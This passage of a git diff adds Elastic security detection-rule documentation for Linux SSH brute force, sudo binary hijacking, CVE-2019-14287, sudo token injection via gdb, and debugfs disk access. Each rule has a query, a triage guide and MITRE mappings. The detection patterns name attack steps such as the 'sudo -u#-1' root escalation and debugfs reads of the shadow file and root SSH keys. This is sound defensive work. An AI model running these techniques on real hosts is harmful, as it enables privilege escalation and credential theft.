+[source, js] +---------------------------------- +sequence by host.id, source.ip, user.name with maxspan=15s + [authentication where host.os.type == "linux" and event.action in ("ssh_login", "user_login") and + event.outcome == "failure" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] with runs=25 + [authentication where host.os.type == "linux" and event.action in ("ssh_login", "user_login") and + event.outcome == "success" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-hijacking.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-hijacking.asciidoc new file mode 100644 index 0000000000..4ada396138 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-hijacking.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-20-potential-sudo-hijacking]] +=== Potential Sudo Hijacking + +Identifies the creation of a sudo binary located at /usr/bin/sudo. Attackers may hijack the default sudo binary and replace it with a custom binary or script that can read the user's password in clear text to escalate privileges or enable persistence onto the system every time the sudo binary is executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://eapolsniper.github.io/2020/08/17/Sudo-Hijacking/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Hijacking* + + +Sudo is a critical utility in Linux environments, allowing users to execute commands with elevated privileges. Adversaries may exploit this by replacing the sudo binary with a malicious version to capture passwords or maintain persistence. The detection rule identifies suspicious creation or renaming of the sudo binary, excluding legitimate package management processes, to flag potential hijacking attempts. + + +*Possible investigation steps* + + +- Review the file creation or rename event details to confirm the file path is either /usr/bin/sudo or /bin/sudo, as these are critical locations for the sudo binary. +- Check the process executable that triggered the event to ensure it is not part of the legitimate package management processes listed in the query, such as /bin/dpkg or /usr/bin/yum. +- Investigate the user account associated with the event to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine the system logs around the time of the event for any unusual activity or errors that might indicate tampering or unauthorized access. +- Verify the integrity of the current sudo binary by comparing its hash with a known good version to detect any unauthorized modifications. +- Assess the system for any additional signs of compromise, such as unexpected network connections or new user accounts, which may indicate broader malicious activity. + + +*False positive analysis* + + +- Package management processes can trigger false positives when legitimate updates or installations occur. To handle this, ensure that processes like dpkg, rpm, yum, and apt are included in the exclusion list as they are common package managers. +- Custom scripts or automation tools that modify the sudo binary for legitimate reasons may cause alerts. Review these scripts and consider adding their paths to the exclusion list if they are verified as safe. +- Temporary files or directories used during legitimate software installations or updates, such as those in /var/lib/dpkg or /tmp, can lead to false positives. Exclude these paths if they are part of a known and safe process. +- Development or testing environments where sudo binaries are frequently modified for testing purposes might trigger alerts. In such cases, consider excluding these environments from monitoring or adding specific exclusions for known safe modifications. +- Ensure that any process or executable that is known to interact with the sudo binary in a non-malicious way is added to the exclusion list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Verify the integrity of the sudo binary by comparing its hash with a known good version from a trusted source. If compromised, replace it with the legitimate binary. +- Conduct a thorough review of system logs and the process execution history to identify any unauthorized changes or suspicious activities related to the sudo binary. +- Reset passwords for all user accounts on the affected system, especially those with elevated privileges, to mitigate potential credential theft. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to modify critical binaries or escalate privileges. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if other systems may be affected. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system binaries. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "rename") and +file.path in ("/usr/bin/sudo", "/bin/sudo") and not ( + process.name like ("python*", "platform-python*") or + file.Ext.original.path in ("/usr/bin/sudo", "/bin/sudo") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/bin/pacman", "/usr/bin/pacman", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", "/usr/local/sbin/apk", "/usr/bin/apt", + "/usr/sbin/pacman", "/usr/bin/microdnf", "/usr/local/bin/dockerd", "/usr/local/bin/podman", "/usr/local/bin/dnf", + "/kaniko/executor", "/proc/self/exe", "/usr/bin/apt-get", "/usr/bin/apt-cache", "/usr/bin/apt-mark", + "./usr/bin/podman", "./usr/lib/snapd/snap-update-ns", "/kaniko/kaniko-executor", "/usr/libexec/packagekitd", + "/usr/bin/dnf5", "/usr/lib/pamac/pamac-daemon", "./usr/libexec/snapd/snap-update-ns", "/usr/bin/update-alternatives" + ) or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/var/lib/docker/*", + "./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/docker/overlay2/*/dockerd", + "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc new file mode 100644 index 0000000000..1c41692ca4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-potential-sudo-privilege-escalation-via-cve-2019-14287]] +=== Potential Sudo Privilege Escalation via CVE-2019-14287 + +This rule monitors for the execution of a suspicious sudo command that is leveraged in CVE-2019-14287 to escalate privileges to root. Sudo does not verify the presence of the designated user ID and proceeds to execute using a user ID that can be chosen arbitrarily. By using the sudo privileges, the command "sudo -u#-1" translates to an ID of 0, representing the root user. This exploit may work for sudo versions prior to v1.28. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/exploits/47502 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Use Case: Vulnerability +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Privilege Escalation via CVE-2019-14287* + + +CVE-2019-14287 exploits a flaw in certain sudo versions, allowing users to execute commands as root by bypassing user ID verification. Attackers can misuse this to gain unauthorized root access, posing significant security risks. The detection rule identifies suspicious sudo commands indicative of this exploit, focusing on specific command patterns that translate to root execution, thereby alerting security teams to potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the suspicious command pattern "sudo -u#-1" in the process arguments, as this is indicative of the CVE-2019-14287 exploit attempt. +- Identify the user account associated with the process execution to determine if the user should have legitimate access to execute commands with elevated privileges. +- Examine the process execution timeline to identify any preceding or subsequent suspicious activities that might indicate a broader attack or compromise. +- Check the version of sudo installed on the affected system to verify if it is vulnerable to CVE-2019-14287, specifically versions prior to v1.28. +- Investigate the source IP address and hostname of the affected system to assess if it is part of a larger attack pattern or if there are other systems potentially compromised. +- Review system logs and audit trails for any additional unauthorized access attempts or privilege escalation activities around the time of the alert. +- If possible, isolate the affected system to prevent further unauthorized access while conducting a more thorough forensic analysis. + + +*False positive analysis* + + +- Legitimate administrative tasks using sudo with unconventional user ID arguments may trigger the rule. Review the context of the command execution to determine if it aligns with expected administrative activities. +- Automated scripts or maintenance tools that use sudo with arbitrary user IDs for testing or configuration purposes might be flagged. Identify and document these scripts, then create exceptions in the monitoring system to exclude them from alerts. +- Development environments where developers have elevated privileges for testing purposes could generate false positives. Ensure that such environments are well-documented and consider excluding them from this specific rule if they consistently trigger alerts. +- Security tools or monitoring systems that simulate attacks for testing detection capabilities may inadvertently trigger this rule. Coordinate with security teams to whitelist these tools or adjust their configurations to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified with the command pattern "sudo -u#-1" to halt any ongoing unauthorized activities. +- Conduct a thorough review of system logs and sudo logs to identify any additional unauthorized access attempts or successful privilege escalations. +- Reset passwords and review user accounts on the affected system to ensure no unauthorized accounts have been created or existing accounts have been compromised. +- Apply patches or upgrade sudo to a version later than v1.28 to mitigate the vulnerability exploited by CVE-2019-14287. +- Monitor the network for any signs of data exfiltration or further exploitation attempts, using enhanced logging and alerting mechanisms. +- Report the incident to the appropriate internal security team or external authorities if required, providing them with detailed findings and actions taken. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name == "sudo" and process.args == "-u#-1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-token-manipulation-via-process-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-token-manipulation-via-process-injection.asciidoc new file mode 100644 index 0000000000..18cf7fe7ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sudo-token-manipulation-via-process-injection.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-potential-sudo-token-manipulation-via-process-injection]] +=== Potential Sudo Token Manipulation via Process Injection + +This rule detects potential sudo token manipulation attacks through process injection by monitoring the use of a debugger (gdb) process followed by a successful uid change event during the execution of the sudo process. A sudo token manipulation attack is performed by injecting into a process that has a valid sudo token, which can then be used by attackers to activate their own sudo token. This attack requires ptrace to be enabled in conjunction with the existence of a living process that has a valid sudo token with the same uid as the current user. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/nongiach/sudo_inject + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Token Manipulation via Process Injection* + + +In Linux environments, process injection can be exploited by adversaries to manipulate sudo tokens, allowing unauthorized privilege escalation. Attackers may use debugging tools like gdb to inject code into processes with valid sudo tokens, leveraging ptrace capabilities. The detection rule identifies this threat by monitoring for gdb execution followed by a uid change in the sudo process, indicating potential token manipulation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and process session leader entity ID involved in the potential sudo token manipulation. +- Examine the process tree on the affected host to trace the parent and child processes of the gdb execution, focusing on any unusual or unauthorized processes. +- Check the system logs for any recent sudo commands executed by the user associated with the gdb process to determine if there were any unauthorized privilege escalations. +- Investigate the user account associated with the gdb process to verify if it has legitimate reasons to use debugging tools and if it has been compromised. +- Analyze the timing and context of the uid change event in the sudo process to assess if it aligns with legitimate administrative activities or if it appears suspicious. +- Review the system's ptrace settings to ensure they are configured securely and assess if there have been any recent changes that could have enabled this attack vector. + + +*False positive analysis* + + +- Debugging activities by developers or system administrators using gdb for legitimate purposes can trigger this rule. To manage this, create exceptions for specific user IDs or groups known to perform regular debugging tasks. +- Automated scripts or maintenance tools that utilize gdb for process analysis might cause false positives. Identify these scripts and exclude their associated process names or paths from the rule. +- System monitoring or security tools that perform uid changes as part of their normal operation could be mistaken for malicious activity. Review and whitelist these tools by their process names or specific user IDs. +- Training or testing environments where sudo and gdb are used frequently for educational purposes may generate alerts. Consider excluding these environments by host ID or network segment to reduce noise. +- Scheduled tasks or cron jobs that involve gdb and sudo processes might inadvertently match the rule criteria. Analyze these tasks and exclude them based on their execution times or specific process attributes. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or privilege escalation. +- Terminate any suspicious gdb and sudo processes identified in the alert to stop ongoing process injection attempts. +- Conduct a thorough review of the affected system's process and user activity logs to identify any unauthorized changes or access patterns. +- Reset credentials and sudo tokens for all users on the affected system to prevent further exploitation using compromised tokens. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Re-enable ptrace restrictions if they were previously disabled, to limit the ability of attackers to perform process injection. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.session_leader.entity_id with maxspan=15s +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "gdb" and process.user.id != "0" and process.group.id != "0" ] +[ process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + process.name == "sudo" and process.user.id == "0" and process.group.id == "0" ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-debugfs-root-device-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-debugfs-root-device-access.asciidoc new file mode 100644 index 0000000000..952d10b81e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-debugfs-root-device-access.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-potential-suspicious-debugfs-root-device-access]] +=== Potential Suspicious DebugFS Root Device Access + +This rule monitors for the usage of the built-in Linux DebugFS utility to access a disk device without root permissions. Linux users that are part of the "disk" group have sufficient privileges to access all data inside of the machine through DebugFS. Attackers may leverage DebugFS in conjunction with "disk" permissions to read sensitive files owned by root, such as the shadow file, root ssh private keys or other sensitive files that may allow them to further escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#disk-group + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Suspicious DebugFS Root Device Access* + + +DebugFS is a Linux utility that provides a low-level interface to access and manipulate file systems, typically used for debugging purposes. It can be exploited by adversaries with "disk" group privileges to access sensitive files without root permissions, potentially leading to privilege escalation. The detection rule identifies non-root users executing DebugFS on disk devices, flagging potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user and group involved in the DebugFS execution by examining the user.Ext.real.id and group.Ext.real.id fields. +- Check the command-line arguments (process.args) to determine which specific disk device was accessed and assess if the access was legitimate or necessary for the user's role. +- Investigate the user's recent activity and login history to identify any unusual patterns or unauthorized access attempts that might indicate malicious intent. +- Verify the user's group memberships, particularly focusing on the "disk" group, to understand if the user should have such privileges and if any recent changes were made to their group assignments. +- Examine system logs and other security alerts around the time of the DebugFS execution to identify any correlated suspicious activities or potential indicators of compromise. +- Assess the system for any unauthorized changes or access to sensitive files, such as the shadow file or root SSH keys, which could indicate privilege escalation attempts. + + +*False positive analysis* + + +- Non-root system administrators or maintenance scripts may use DebugFS for legitimate disk diagnostics or recovery tasks. To handle this, identify and whitelist specific users or scripts that are known to perform these tasks regularly. +- Automated backup or monitoring tools might invoke DebugFS as part of their operations. Review and exclude these tools by adding their process identifiers or user accounts to an exception list. +- Developers or testers with disk group privileges might use DebugFS during development or testing phases. Establish a policy to document and approve such activities, and exclude these users from triggering alerts. +- Educational or training environments where DebugFS is used for learning purposes can generate false positives. Create exceptions for these environments by specifying the associated user accounts or groups. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Revoke "disk" group privileges from non-essential users to limit access to disk devices and prevent misuse of DebugFS. +- Conduct a thorough review of user accounts and group memberships to ensure only authorized personnel have "disk" group privileges. +- Check for unauthorized access to sensitive files such as the shadow file or root SSH private keys and reset credentials if necessary. +- Monitor for any additional suspicious activity on the affected system and related systems, focusing on privilege escalation attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement enhanced logging and monitoring for DebugFS usage and access to disk devices to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "debugfs" and process.args : "/dev/sd*" and not process.args == "-R" and +not user.Ext.real.id == "0" and not group.Ext.real.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-file-edit.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-file-edit.asciidoc new file mode 100644 index 0000000000..3e39557716 --- /dev/null +++ 